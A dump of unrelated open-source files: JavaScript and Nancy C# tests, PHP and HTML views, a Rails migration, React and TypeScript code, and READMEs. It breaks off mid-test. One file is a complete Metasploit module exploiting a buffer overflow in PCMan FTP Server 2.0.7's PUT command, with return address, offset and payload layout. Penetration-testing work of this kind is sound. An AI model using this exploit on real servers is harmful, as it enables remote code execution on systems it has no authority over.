scope3 = nock.url('http://somehost.com/somefile.mp4')
.replyWithFile(200, video);
});
var filestream = fs.createReadStream(video);
streamEqual(filestream, stream, function(err, equal) {
scope1.done();
scope2.done();
scope3.done();
if (err) return done(err);
assert.ok(equal);
done();
});
});
});
});
|
DreamBig98/Youtube-Converter
|
test/download-test.js
|
JavaScript
|
mit
| 2,155
|
<h2><?= $title ;?></h2>
<hr>
<div class="create-form">
<?php echo validation_errors(); ?>
<?php echo form_open_multipart('categories/create'); ?>
<div class="form-group">
<label>Name</label>
<input type="text" class="form-control" name="name" placeholder="Enter Category Name">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
</div>
|
sagarthakore/ci
|
application/views/categories/create.php
|
PHP
|
mit
| 406
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("HexadecimalToBinary")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("HexadecimalToBinary")]
[assembly: AssemblyCopyright("Copyright © 2013")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("a123a0d6-115d-4cef-be9a-217e3842c8b5")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
|
stanchev/Telerik-Academy
|
NumeralSystems/HexadecimalToBinary/Properties/AssemblyInfo.cs
|
C#
|
mit
| 1,414
|
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Jasmine Spec Runner</title>
<link rel="stylesheet" href="css/jasmine.css">
<link rel="shortcut icon" type="image/png" href="js/lib/jasmine-2.0.0/jasmine_favicon.png">
<link rel="stylesheet" type="text/css" href="js/lib/jasmine-2.0.0/jasmine.css">
</head><body>
<script src="js/lib/require.js" data-main="js/superSpecRunner"></script>
<div class="testFormWrapper"></div>
<div class="searchForm"></div>
<script id="livereload">document.write('<script src="http://' + 'localhost' + ':35729/livereload.js?snipver=1"></' + 'script>')</script>
</body></html>
|
designeng/wire-plugins
|
test/jasmine/index.html
|
HTML
|
mit
| 665
|
class AddRecipientDetailsToSubscriber < ActiveRecord::Migration
def change
add_column :shoppe_subscribers, :recipient_name, :string
add_column :shoppe_subscribers, :recipient_email, :string
add_column :shoppe_subscribers, :recipient_phone, :string
end
end
|
dznicol/shoppe_subscriptions
|
db/migrate/20170326075850_add_recipient_details_to_subscriber.rb
|
Ruby
|
mit
| 272
|
'use babel';
import React, { Component } from 'react'
import { findDOMNode } from 'react-dom'
class Start extends Component {
handleBtnGithubClick(event) {
let input_token = findDOMNode(this.refs.input_token)
input_token.style.display = "block"
}
handleChange(e) {
const { connectToGithub } = this.props
if (e.key == 'Enter') {
connectToGithub(e.target.value)
}
}
render() {
const { error, connectingToGithub, connectRandom } = this.props
let token = atom.config.get('atom-video.token')
return (
<div className="starting">
<h1 className="title"> Atom Video 🎥</h1>
<p className="slogan">Call your friends while coding</p>
{
!connectingToGithub &&
<div>
<a onClick={this.handleBtnGithubClick.bind(this)} ref="button_github" className="btn">Use GitHub username</a> or <a onClick={connectRandom} className="btn">Be Random</a>
<input onKeyPress={this.handleChange.bind(this)} ref="input_token" className={'input-token native-key-bindings ' + (error ? 'error visible' : '')} placeholder="Github Token" defaultValue={token}/>
</div>
}
{
connectingToGithub &&
<img className="loading" src='atom://atom-video/assets/loading.gif' />
}
</div>
)
}
}
export default Start
|
mertkahyaoglu/atom-video
|
lib/components/Start.js
|
JavaScript
|
mit
| 1,358
|
# Docs Hero
This component helps you quickly get a hero section on your addon's homepage. The hero on the homepage of this site is an example.
The component has three arguments. By default, these arguments are pulled from your project's `package.json`:
- `prefix` and `heading` come from the `name` field
- `byline` comes from the `description` field
As long as these are present, you can just render `<DocsHero/>` with no arguments:
<DocsDemo as |demo|>
<demo.example @name="docs-hero-1.hbs">
<DocsHero/>
</demo.example>
<demo.snippet @name="docs-hero-1.hbs"/>
</DocsDemo>
You can also override any of the args if necessary:
<DocsDemo as |demo|>
<demo.example @name="docs-hero-2.hbs">
<DocsHero
@prefix="EmberData"
@heading="Something"
@byline="The best addon ever. Now playing in theaters."
class="some-custom-class"/>
</demo.example>
<demo.snippet @name="docs-hero-2.hbs"/>
</DocsDemo>
|
ember-learn/ember-cli-addon-docs
|
tests/dummy/app/templates/docs/components/docs-hero.md
|
Markdown
|
mit
| 946
|
var _ = require('lodash')
, gulp = require('gulp')
;
|
mark-hudson/mdnotes
|
gulpfile.js
|
JavaScript
|
mit
| 62
|
'use strict';
// Setting up route
/*
angular.module('articles').config(['$stateProvider',
function($stateProvider) {
// Articles state routing
$stateProvider.
state('listArticles', {
url: '/articles',
templateUrl: 'modules/articles/views/list-articles.client.view.html'
}).
state('createArticle', {
url: '/articles/create',
templateUrl: 'modules/articles/views/create-article.client.view.html'
}).
state('viewArticle', {
url: '/articles/:articleId',
templateUrl: 'modules/articles/views/view-article.client.view.html'
}).
state('editArticle', {
url: '/articles/:articleId/edit',
templateUrl: 'modules/articles/views/edit-article.client.view.html'
});
}
]);*/
|
CSC-ORG/Dynamic-Dashboard-2015
|
public/modules/articles/config/articles.client.routes.js
|
JavaScript
|
mit
| 705
|
# Office TypeScript Add-in #
### Summary ###
This is a sample project extending the Visual Studio 2015 template for an Office task pane add-in with TypeScript and TypeScript type definitions.
It’s a great way to help you ensure the quality and code maintainability of your project. Also, if you’re coming from a more strongly typed programming language (like C#, Java, etc.), TypeScript can be your way into the world of JavaScript.
Read more about this sample at: http://simonjaeger.com/use-typescript-in-a-visual-studio-office-add-in-project
### Applies to ###
- Office Client (Excel, Word, PowerPoint, Project)
- Office Online (Excel, Word, PowerPoint)
### Prerequisites ###
None
### Solution ###
Solution | Author(s)
---------|----------
Office.TypeScriptAddin | Simon Jäger (**Microsoft**)
### Version history ###
Version | Date | Comments
---------| -----| --------
1.0 | December 10th 2015 | Initial release
### Disclaimer ###
**THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.**
----------
# Description #
This is a sample project extending the Visual Studio 2015 template for an Office task pane add-in with TypeScript and TypeScript type definitions.
Visual Studio 2015 generates JavaScript from your TypeScript files, that’s what makes it work everywhere. So you should continue to reference *.js files in your HTML. If you browse your file system, you can see that the *.js files (along with *.js.map files) will be located besides the *.ts files.
Below is the App.ts file included in the sample, it's a rewritten version of the default App.js file that comes along with the Visual Studio Office add-in template.
```TS
/* Common app functionality */
class App {
private initialized: boolean = false;
// Common initialization function (to be called from each page)
initialize() {
$('body').append(
'<div id="notification-message">' +
'<div class="padding">' +
'<div id="notification-message-close"></div>' +
'<div id="notification-message-header"></div>' +
'<div id="notification-message-body"></div>' +
'</div>' +
'</div>');
// After initialization, enable the showNotification function
this.initialized = true;
}
// Notification function, enabled after initialization
showNotification(header: string, text: string) {
if (!this.initialized) {
console.log('Add-in has not yet been initialized.');
return;
}
$('#notification-message-header').text(header);
$('#notification-message-body').text(text);
$('#notification-message').slideDown('fast');
}
}
var app = new App();
```
Below is the JavaScript code, compiled from the App.ts (TypeScript) file as App.js. Included by the bottom is also a source mapping reference - used when debugging (mapping the two files, App.ts and App.js).
```JS
/* Common app functionality */
var App = (function () {
function App() {
this.initialized = false;
}
// Common initialization function (to be called from each page)
App.prototype.initialize = function () {
$('body').append('<div id="notification-message">' +
'<div class="padding">' +
'<div id="notification-message-close"></div>' +
'<div id="notification-message-header"></div>' +
'<div id="notification-message-body"></div>' +
'</div>' +
'</div>');
// After initialization, enable the showNotification function
this.initialized = true;
};
// Notification function, enabled after initialization
App.prototype.showNotification = function (header, text) {
if (!this.initialized) {
console.log('Add-in has not yet been initialized.');
return;
}
$('#notification-message-header').text(header);
$('#notification-message-body').text(text);
$('#notification-message').slideDown('fast');
};
return App;
})();
var app = new App();
//# sourceMappingURL=App.js.map
```
You can also customize your build phase and debugging experience in a few ways. If you get into the properties of your Visual Studio project and locate the TypeScript Build tab – you can select things such as the ECMAScript version (what’s ECMAScript you may ask – head to: <http://blogs.msdn.com/b/tess/archive/2015/11/12/mastering-asp-net-5-without-growing-a-beard.aspx>), source map location, output properties and more.

When your code grows larger, investing in using something like TypeScript really proves to be valuable. At some point you will surely refactor code, hunt bugs and debug – and with TypeScript your life gets a bit easier! You can use Visual Studio to debug your TypeScript code and not have to deal with the plain JavaScript itself (this is what the *.js.map files are good for, mapping between the TypeScript and JavaScript).
## Source Code Files ##
The key source code files in this project are the following:
- `Office.TypeScriptAddinWeb\AddIn\App.ts` - contains the common add-in functionality.
- `Office.TypeScriptAddinWeb\AddIn\Home\Home.ts` - contains the logic for the home page of the add-in.
## More Resouces ##
Find more information and resources at:
- Learn more about building for Office and Office 365 at: <http://dev.office.com/>
- Get started with TypeScript at: <http://www.typescriptlang.org/>
- Find lots of TypeScript type definitions at: <https://github.com/DefinitelyTyped/DefinitelyTyped>
- Read more about this sample at: <http://simonjaeger.com/use-typescript-in-a-visual-studio-office-add-in-project>
<img src="https://telemetry.sharepointpnp.com/pnp-officeaddins/samples/Office.TypeScriptAddin" />
|
OfficeDev/PnP-OfficeAddins
|
Samples/Office.TypeScriptAddin/README.md
|
Markdown
|
mit
| 5,970
|
const fs = require('fs')
const renderSchema = require('./renderSchema')
function updateMarkdown(doc, newContent, options = {}) {
const includeMarkers = options.includeMarkers !== false
const startMarker = options.startMarker || '<!-- START graphql-markdown -->'
const endMarker = options.endMarker || '<!-- END graphql-markdown -->'
let startIndex = doc.indexOf(startMarker)
let endIndex = doc.lastIndexOf(endMarker)
if (startIndex !== -1 && endIndex !== -1 && startIndex < endIndex) {
if (includeMarkers) {
startIndex += startMarker.length
} else {
endIndex += endMarker.length
}
return doc.slice(0, startIndex) + newContent + doc.slice(endIndex)
} else if (startIndex === -1) {
throw new Error(`Start marker not found: ${startMarker}`)
} else if (endIndex === -1) {
throw new Error(`End marker not found: ${endMarker}`)
} else {
throw new Error('Start marker must precede end marker.')
}
}
function updateSchema(path, schema, options) {
return new Promise((resolve, reject) => {
fs.readFile(path, 'utf8', (err, doc) => {
if (err) {
if (err.code === 'ENOENT') {
doc = ''
} else {
return reject(err)
}
}
let newContent = ''
const printer = line => {
newContent += `${line}\n`
}
renderSchema(schema, Object.assign({}, options, { printer }))
if (!doc.trim()) {
doc = '<!-- START graphql-markdown -->\n<!-- END graphql-markdown -->\n'
}
let newDoc = doc
try {
newDoc = updateMarkdown(doc, `\n\n${newContent}\n`)
} catch (err) {
return reject(err)
}
fs.writeFile(path, newDoc, 'utf8', err => {
if (err) {
return reject(err)
}
resolve()
})
})
})
}
module.exports = updateSchema
|
exogen/graphql-markdown
|
src/updateSchema.js
|
JavaScript
|
mit
| 1,842
|
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the PUT command of the
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
credientials are enabled.
},
'Author' =>
[
'Jay Turla', # Initial Discovery -- @shipcod3
'Chris Higgins' # msf Module -- @ch1gg1ns
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '37731'],
[ 'OSVDB', '94624']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0A\x0D",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English',
{
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
'Offset' => 2007
}
],
],
'DisclosureDate' => 'Aug 07 2015',
'DefaultTarget' => 0))
end
def check
connect_login
disconnect
if /220 PCMan's FTP Server 2\.0/ === banner
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
connect_login
print_status('Generating payload...')
sploit = rand_text_alpha(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(16)
sploit << payload.encoded
send_cmd( ["PUT", sploit], false )
disconnect
end
end
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/39662.rb
|
Ruby
|
mit
| 2,067
|
import {ADD_TODO, DELETE_TODO, EDIT_TODO, COMPLETE_TODO, COMPLETE_ALL, CLEAR_COMPLETED} from '../constants/ActionTypes';
import {assign} from '../assign';
const initialState = [
{
text: 'Use Redux',
completed: false,
id: 0
}
];
export default function todos(state: any = initialState, action: any) {
switch (action.type) {
case ADD_TODO:
return [
{
id: state.reduce((maxId, todo) => Math.max(todo.id, maxId), -1) + 1,
completed: false,
text: action.text
},
...state
];
case DELETE_TODO:
return state.filter(todo =>
todo.id !== action.id
);
case EDIT_TODO:
return state.map(todo =>
todo.id === action.id ?
assign({}, todo, {text: action.text}) :
todo
);
case COMPLETE_TODO:
return state.map(todo =>
todo.id === action.id ?
assign({}, todo, {completed: !todo.completed}) :
todo
);
case COMPLETE_ALL:
const areAllMarked = state.every(todo => todo.completed);
return state.map(todo => assign({}, todo, {
completed: !areAllMarked
}));
case CLEAR_COMPLETED:
return state.filter(todo => todo.completed === false);
default:
return state;
}
}
|
FountainJS/generator-fountain-react
|
generators/todoMVC/modules/templates/src/app/reducers/todos.tsx
|
TypeScript
|
mit
| 1,294
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("AverageCharacterDelimiter")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("AverageCharacterDelimiter")]
[assembly: AssemblyCopyright("Copyright © 2017")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("1f162e83-8c5b-4746-8bec-40b40bcb5543")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
|
Avarea/Programming-Fundamentals
|
AllProblems-Updated/AverageCharacterDelimiter/Properties/AssemblyInfo.cs
|
C#
|
mit
| 1,421
|
# lita-genius
[](https://travis-ci.org/tristaneuan/lita-genius)
[](https://coveralls.io/r/tristaneuan/lita-genius)
**lita-genius** is a handler for [Lita](https://github.com/jimmycuadra/lita) that returns requested songs from Genius (formerly known as Rap Genius).
## Installation
Add lita-genius to your Lita instance's Gemfile:
``` ruby
gem "lita-genius"
```
## Configuration
In order to use this plugin, you must obtain a [Genius client access token](http://genius.com/api-clients).
``` ruby
Lita.configure do |config|
config.handlers.genius.access_token = "YOUR ACCESS TOKEN GOES HERE"
end
```
## Usage
Using the `genius` command will return the top Genius result for your query. Song titles and lyrics are both valid types of search strings.
```
<me> lita: genius weeknd montreal
<lita> A sample from “Laisse Tomber Les Filles” originally performed by France Gall.
<lita> The Weeknd - Montreal | http://genius.com/songs/61962
<me> lita: genius runnin through the 6 with my woes
<lita> Drake first used this moniker in “Jodeci Freestyle” — a single released in the lead-up to his album Nothing Was The Same. On the album, the phrase is also referenced in “From Time”, during a monologue by Baka. Over time Drake has made the line a recurring theme in songs such as “0 to 100”. “Know yourself”/know thyself is also an aphorism that has been attributed to a number of ancient Greek sages, including Socrates, Heraclitus and Pythagoras. Care first about the greatest perfection of the soul. — Socrates
<lita> Drake - Know Yourself | http://genius.com/songs/703654
```
## License
[MIT](http://opensource.org/licenses/MIT)
|
tristaneuan/lita-genius
|
README.md
|
Markdown
|
mit
| 1,826
|
namespace Nancy.Tests.Unit
{
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using FakeItEasy;
using Nancy.IO;
using Xunit;
using Xunit.Extensions;
public class RequestFixture
{
[Fact]
public void Should_dispose_request_stream_when_being_disposed()
{
// Given
var stream = A.Fake<RequestStream>(x =>
{
x.Implements(typeof(IDisposable));
x.WithArgumentsForConstructor(() => new RequestStream(0, false));
});
var url = new Url()
{
Scheme = "http",
Path = "localhost"
};
var request = new Request("GET", url, stream);
// When
request.Dispose();
// Then
A.CallTo(() => ((IDisposable)stream).Dispose()).MustHaveHappened();
}
[Fact]
public void Should_be_disposable()
{
// Given, When, Then
typeof(Request).ShouldImplementInterface<IDisposable>();
}
[Fact]
public void Should_override_request_method_on_post()
{
// Given
const string bodyContent = "_method=GET";
var memory = CreateRequestStream();
var writer = new StreamWriter(memory);
writer.Write(bodyContent);
writer.Flush();
memory.Position = 0;
var headers =
new Dictionary<string, IEnumerable<string>> { { "content-type", new[] { "application/x-www-form-urlencoded" } } };
// When
var request = new Request("POST", "/", headers, memory, "http");
// Then
request.Method.ShouldEqual("GET");
}
[Theory]
[InlineData("GET")]
[InlineData("PUT")]
[InlineData("DELETE")]
[InlineData("HEAD")]
public void Should_only_override_method_on_post(string method)
{
// Given
const string bodyContent = "_method=TEST";
var memory = CreateRequestStream();
var writer = new StreamWriter(memory);
writer.Write(bodyContent);
writer.Flush();
memory.Position = 0;
var headers =
new Dictionary<string, IEnumerable<string>> { { "content-type", new[] { "application/x-www-form-urlencoded" } } };
// When
var request = new Request(method, "/", headers, memory, "http");
// Then
request.Method.ShouldEqual(method);
}
[Fact]
public void Should_throw_argumentoutofrangeexception_when_initialized_with_null_method()
{
// Given, When
var exception =
Record.Exception(() => new Request(null, "/", "http"));
// Then
exception.ShouldBeOfType<ArgumentOutOfRangeException>();
}
[Fact]
public void Should_throw_argumentoutofrangeexception_when_initialized_with_empty_method()
{
// Given, When
var exception =
Record.Exception(() => new Request(string.Empty, "/", "http"));
// Then
exception.ShouldBeOfType<ArgumentOutOfRangeException>();
}
[Fact]
public void Should_throw_null_exception_when_initialized_with_null_uri()
{
// Given, When
var exception =
Record.Exception(() => new Request("GET", null, "http"));
// Then
exception.ShouldBeOfType<ArgumentNullException>();
}
[Fact]
public void Should_set_method_parameter_value_to_method_property_when_initialized()
{
// Given
const string method = "GET";
// When
var request = new Request(method, "/", "http");
// Then
request.Method.ShouldEqual(method);
}
[Fact]
public void Should_set_uri_parameter_value_to_uri_property_when_initialized()
{
// Given
const string path = "/";
// When
var request = new Request("GET", path, "http");
// Then
request.Path.ShouldEqual(path);
}
[Fact]
public void Should_set_header_parameter_value_to_header_property_when_initialized()
{
// Given
var headers = new Dictionary<string, IEnumerable<string>>()
{
{ "content-type", new[] {"foo"} }
};
// When
var request = new Request("GET", "/", headers, CreateRequestStream(), "http");
// Then
request.Headers.ContentType.ShouldNotBeEmpty();
}
[Fact]
public void Should_set_body_parameter_value_to_body_property_when_initialized()
{
// Given
var body = CreateRequestStream();
// When
var request = new Request("GET", "/", new Dictionary<string, IEnumerable<string>>(), body, "http");
// Then
request.Body.ShouldBeSameAs(body);
}
[Fact]
public void Should_set_extract_form_data_from_body_when_content_type_is_x_www_form_urlencoded()
{
// Given
const string bodyContent = "name=John+Doe&gender=male&family=5&city=kent&city=miami&other=abc%0D%0Adef&nickname=J%26D";
var memory = CreateRequestStream();
var writer = new StreamWriter(memory);
writer.Write(bodyContent);
writer.Flush();
memory.Position = 0;
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "application/x-www-form-urlencoded" } }
};
// When
var request = new Request("POST", "/", headers, memory, "http");
// Then
((string)request.Form.name).ShouldEqual("John Doe");
}
[Fact]
public void Should_set_extract_form_data_from_body_when_content_type_is_x_www_form_urlencoded_with_character_set()
{
// Given
const string bodyContent = "name=John+Doe&gender=male&family=5&city=kent&city=miami&other=abc%0D%0Adef&nickname=J%26D";
var memory = CreateRequestStream();
var writer = new StreamWriter(memory);
writer.Write(bodyContent);
writer.Flush();
memory.Position = 0;
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "application/x-www-form-urlencoded; charset=UTF-8" } }
};
// When
var request = new Request("POST", "/", headers, memory, "http");
// Then
((string)request.Form.name).ShouldEqual("John Doe");
}
[Fact]
public void Should_set_extracted_form_data_from_body_when_content_type_is_multipart_form_data()
{
// Given
var memory =
new MemoryStream(BuildMultipartFormValues(new Dictionary<string, string>
{
{ "name", "John Doe"},
{ "age", "42"}
}));
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "multipart/form-data; boundary=----NancyFormBoundary" } }
};
// When
var request = new Request("POST", "/", headers, CreateRequestStream(memory), "http");
// Then
((string)request.Form.name).ShouldEqual("John Doe");
((string)request.Form.age).ShouldEqual("42");
}
[Fact]
public void Should_set_extracted_files_to_files_collection_when_body_content_type_is_multipart_form_data()
{
// Given
var memory =
new MemoryStream(BuildMultipartFileValues(new Dictionary<string, Tuple<string, string, string>>
{
{ "test", new Tuple<string, string, string>("content/type", "some test content", "whatever")}
}));
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "multipart/form-data; boundary=----NancyFormBoundary" } }
};
// When
var request = new Request("POST", "/", headers, CreateRequestStream(memory), "http");
// Then
request.Files.ShouldHaveCount(1);
}
[Fact]
public void Should_set_content_type_on_file_extracted_from_multipart_form_data_body()
{
// Given
var memory =
new MemoryStream(BuildMultipartFileValues(new Dictionary<string, Tuple<string, string, string>>
{
{ "sample.txt", new Tuple<string, string, string>("content/type", "some test content", "whatever")}
}));
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "multipart/form-data; boundary=----NancyFormBoundary" } }
};
// When
var request = new Request("POST", "/", headers, CreateRequestStream(memory), "http");
// Then
request.Files.First().ContentType.ShouldEqual("content/type");
}
[Fact]
public void Should_set_name_on_file_extracted_from_multipart_form_data_body()
{
// Given
var memory =
new MemoryStream(BuildMultipartFileValues(new Dictionary<string, Tuple<string, string, string>>
{
{ "sample.txt", new Tuple<string, string, string>("content/type", "some test content", "whatever")}
}));
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "multipart/form-data; boundary=----NancyFormBoundary" } }
};
// When
var request = new Request("POST", "/", headers, CreateRequestStream(memory), "http");
// Then
request.Files.First().Name.ShouldEqual("sample.txt");
}
[Fact]
public void Should_value_on_file_extracted_from_multipart_form_data_body()
{
// Given
var memory =
new MemoryStream(BuildMultipartFileValues(new Dictionary<string, Tuple<string, string, string>>
{
{ "sample.txt", new Tuple<string, string, string>("content/type", "some test content", "whatever")}
}));
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "multipart/form-data; boundary=----NancyFormBoundary" } }
};
// When
var request = new Request("POST", "/", headers, CreateRequestStream(memory), "http");
// Then
GetStringValue(request.Files.First().Value).ShouldEqual("some test content");
}
[Fact]
public void Should_set_key_on_file_extracted_from_multipart_data_body()
{
// Given
var memory =
new MemoryStream(BuildMultipartFileValues(new Dictionary<string, Tuple<string, string, string>>
{
{ "sample.txt", new Tuple<string, string, string>("content/type", "some test content", "fieldname")}
}));
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "multipart/form-data; boundary=----NancyFormBoundary" } }
};
// When
var request = new Request("POST", "/", headers, CreateRequestStream(memory), "http");
// Then
request.Files.First().Key.ShouldEqual("fieldname");
}
private static string GetStringValue(Stream stream)
{
var reader = new StreamReader(stream);
return reader.ReadToEnd();
}
[Fact]
public void Should_be_able_to_invoke_form_repeatedly()
{
const string bodyContent = "name=John+Doe&gender=male&family=5&city=kent&city=miami&other=abc%0D%0Adef&nickname=J%26D";
var memory = new MemoryStream();
var writer = new StreamWriter(memory);
writer.Write(bodyContent);
writer.Flush();
memory.Position = 0;
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "application/x-www-form-urlencoded" } }
};
// When
var request = new Request("POST", "/", headers, CreateRequestStream(memory), "http");
// Then
((string)request.Form.name).ShouldEqual("John Doe");
}
[Fact]
public void Should_throw_argumentoutofrangeexception_when_initialized_with_null_protocol()
{
// Given, When
var exception =
Record.Exception(() => new Request("GET", "/", null));
// Then
exception.ShouldBeOfType<ArgumentOutOfRangeException>();
}
[Fact]
public void Should_throw_argumentoutofrangeexception_when_initialized_with_an_empty_protocol()
{
// Given, When
var exception =
Record.Exception(() => new Request("GET", "/", string.Empty));
// Then
exception.ShouldBeOfType<ArgumentOutOfRangeException>();
}
[Fact]
public void Should_set_protocol_parameter_value_to_protocol_property_when_initialized()
{
// Given
const string protocol = "http";
// When
var request = new Request("GET", "/", protocol);
// Then
request.Url.Scheme.ShouldEqual(protocol);
}
[Fact]
public void Should_split_cookie_in_two_parts_only()
{
// Given, when
var cookieName = "_nc";
var cookieData = "Y+M3rcC/7ssXvHTx9pwCbwQVV4g=sp0hUZVApYgGbKZIU4bvXbBCVl9fhSEssEXSGdrt4jVag6PO1oed8lSd+EJD1nzWx4OTTCTZKjYRWeHE97QVND4jJIl+DuKRgJnSl3hWI5gdgGjcxqCSTvMOMGmW3NHLVyKpajGD8tq1DXhXMyXHjTzrCAYl8TGzwyJJGx/gd7VMJeRbAy9JdHOxEUlCKUnPneWN6q+/ITFryAa5hAdfcjXmh4Fgym75whKOMkWO+yM2icdsciX0ShcvnEQ/bXcTHTya6d7dJVfZl7qQ8AgIQv8ucQHxD3NxIvHNPBwms2ClaPds0HG5N+7pu7eMSFZjUHpDrrCnFvYN+JDiG3GMpf98LuCCvxemvipJo2MUkY4J1LvaDFoWA5tIxAfItZJkSIW2d8JPDwFk8OHJy8zhyn8AjD2JFqWaUZr4y9KZOtgI0V0Qlq0mS3mDSlLn29xapgoPHBvykwQjR6TwF2pBLpStsfZa/tXbEv2mc3VO3CnErIA1lEfKNqn9C/Dw6hqW";
var headers = new Dictionary<string, IEnumerable<string>>();
var cookies = new List<string>();
cookies.Add(string.Format("{0}={1}", cookieName, cookieData));
headers.Add("cookie", cookies);
var newUrl = new Url
{
Path = "/"
};
var request = new Request("GET", newUrl, null, headers);
// Then
request.Cookies[cookieName].ShouldEqual(cookieData);
}
[Fact]
public void Should_move_request_body_position_to_zero_after_parsing_url_encoded_data()
{
// Given
const string bodyContent = "name=John+Doe&gender=male&family=5&city=kent&city=miami&other=abc%0D%0Adef&nickname=J%26D";
var memory = CreateRequestStream();
var writer = new StreamWriter(memory);
writer.Write(bodyContent);
writer.Flush();
memory.Position = 0;
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "application/x-www-form-urlencoded; charset=UTF-8" } }
};
// When
var request = new Request("POST", "/", headers, memory, "http");
// Then
memory.Position.ShouldEqual(0L);
}
[Fact]
public void Should_move_request_body_position_to_zero_after_parsing_multipart_encoded_data()
{
// Given
var memory =
new MemoryStream(BuildMultipartFileValues(new Dictionary<string, Tuple<string, string, string>>
{
{ "sample.txt", new Tuple<string, string, string>("content/type", "some test content", "whatever")}
}));
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "multipart/form-data; boundary=----NancyFormBoundary" } }
};
// When
var request = new Request("POST", "/", headers, CreateRequestStream(memory), "http");
// Then
memory.Position.ShouldEqual(0L);
}
[Fact]
public void Should_preserve_all_values_when_multiple_are_posted_using_same_name_after_parsing_multipart_encoded_data()
{
// Given
var memory =
new MemoryStream(BuildMultipartFormValues(
new KeyValuePair<string, string>("age", "32"),
new KeyValuePair<string, string>("age", "42"),
new KeyValuePair<string, string>("age", "52")
));
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "multipart/form-data; boundary=----NancyFormBoundary" } }
};
// When
var request = new Request("POST", "/", headers, CreateRequestStream(memory), "http");
// Then
((string)request.Form.age).ShouldEqual("32,42,52");
}
[Fact]
public void Should_limit_the_amount_of_form_fields_parsed()
{
// Given
var sb = new StringBuilder();
for (int i = 0; i < StaticConfiguration.RequestQueryFormMultipartLimit + 10; i++)
{
if (i > 0)
{
sb.Append('&');
}
sb.AppendFormat("Field{0}=Value{0}", i);
}
var memory = CreateRequestStream();
var writer = new StreamWriter(memory);
writer.Write(sb.ToString());
writer.Flush();
memory.Position = 0;
var headers =
new Dictionary<string, IEnumerable<string>>
{
{ "content-type", new[] { "application/x-www-form-urlencoded" } }
};
// When
var request = new Request("POST", "/", headers, memory, "http");
// Then
((IEnumerable<string>)request.Form.GetDynamicMemberNames()).Count().ShouldEqual(StaticConfiguration.RequestQueryFormMultipartLimit);
}
[Fact]
public void Should_limit_the_amount_of_querystring_fields_parsed()
{
// Given
var sb = new StringBuilder();
for (int i = 0; i < StaticConfiguration.RequestQueryFormMultipartLimit + 10; i++)
{
if (i > 0)
{
sb.Append('&');
}
sb.AppendFormat("Field{0}=Value{0}", i);
}
var memory = CreateRequestStream();
// When
